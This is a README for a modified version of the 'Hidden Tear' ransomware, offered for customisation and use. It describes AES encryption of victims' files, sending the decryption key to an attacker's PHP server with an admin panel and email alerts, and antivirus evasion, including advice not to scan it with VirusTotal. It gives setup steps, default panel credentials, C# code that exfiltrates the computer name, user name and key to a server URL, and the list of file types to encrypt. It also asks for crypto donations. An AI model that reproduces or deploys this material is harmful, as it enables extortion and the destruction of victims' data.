_     _     _     _              _                  
    | |   (_)   | |   | |            | |                 
    | |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
    | '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
    | | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
    |_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|   

It's a ransomware-like file crypter sample which can be modified for specific purposes.

Features

• Uses AES algorithm to encrypt files.
• Sends encryption key to a server.
• Encrypted files can be decrypt in decrypter program with encryption key.
• Creates a text file in Desktop with given message.
• Small file size (12 KB)
• Isn't detected by antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt - Do not scan with VirusTotal or similar sites.
• This project was updated by Virgula0 and coded by Uktu Sen.

New features:

• A new advanced server script was added that saves data into database.
• All informations are sent if there is an internet connection and the ransomware wait for it if there isn't.
• You can see all target information with Server Attacker panel.
• Script can also send you an email with gathered data.
• It can also encrypt .exe files and no longer gets collisions with other processes.
• It now encrypts a wider variety of file types and has a changing desktop icon with information about the attack.
• Hidden Tear Decryptor now advises if files have been decrypted or not.
• Hidden Tear Decryptor now is able to decrypt the same directories of hidden-tear ransomware.
• Hidden Tear changes default Windows icon of desktop if decryption is succesfully finished.
• A bug that could delete a part of the passcode while sending has been removed.

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If you want, you can send some BTC for this re-work and support me.

• Address: 1HfwYmCDiHYRxzcbpDf7vSKfv8g9Y1MgpW | Or you can scan QR code named donation_btc_address.png in the main path
• Paypal: https://paypal.me/Virgula
• Ethereum 0x25119edFC9aA4D5beb40F24f5A759c4CA0263A54
• Bitcoin Cash: qzmd7kn87q5dkmkzalwu6pct82e68skzksxdfxxd0a

Thank You!

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Demonstration Video

https://www.youtube.com/watch?v=0IvD9Sky9as

Warning: in that video wasn't shown the attacker panel but only the key saved into the file to make the video lasts less.

Usage

• You need to have a web server which supports PHP. Change this line with your URL, using an HTTPS connection to avoid eavesdropping.

  string targetURL = "https://www.example.com/Server/write.php";

  • Default Username and password for webpanel (in check.php file) are -> Username: test | Password: test
  • Import SQL table in your database importing the file: import.sql
  • Set you database credetials in the file: connect_db.php
  • If you want also write a file for every virus execution go to file write.php and uncomment lines 37 to 43. For privacy of information this is not recommended.
  • Set your email to get information also by email (don't write your PERSONAL email) in line 47 of file write.php

• The script should write the GET parameter into a database and optionally into a text file. Sending process running in SendPassword() function:

        string info = "?computer_name=" + computerName + "&userName=" + userName + "&password=" + password + "&allow=ransom";
        var fullUrl = targetURL + info;
        var conent = new System.Net.WebClient().DownloadString(fullUrl);
  
  

• Target file extensions can be changed. Default list:

var validExtensions = new[]{".txt", ".jar", ".exe", ".dat", ".contact" , ".settings", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".py", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".htm", ".xml", ".psd" , ".pdf" , ".dll" , ".c" , ".cs", ".mp3" , ".mp4", ".f3d" , ".dwg" , ".cpp" , ".zip" , ".rar" , ".mov" , ".rtf" , ".bmp" , ".mkv" , ".avi" , ".apk" , ".lnk" , ".iso", ".7-zip", ".ace", ".arj", ".bz2", ".cab", ".gzip", ".lzh", ".tar", ".uue", ".xz", ".z", ".001", ".mpeg", ".mp3", ".mpg", ".core", ".crproj" , ".pdb", ".ico" , ".pas" , ".db" ,  ".torrent" };

• PLEASE DON'T ADD .INI EXTENSION BECAUSE THE CONFILCT WITH THESE FILES WILL CRASH YOUR SCRIPT.
• In this re-upload there is a function that waits for internet connection before sending password to the database:

//check for internet connection
public static bool CheckForInternetConnection()
{
    try
    {
        using (var client = new WebClient())
        {
            using (var stream = client.OpenRead("https://www.google.com"))
            {
                return true;
            }
        }
    }
    catch
    {
        return false;
    }
}

Legal Warning

While this may be helpful for some, there are significant risks. Hidden Tear may be used for educational purposes only. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running Hidden Tear, even though you are innocent.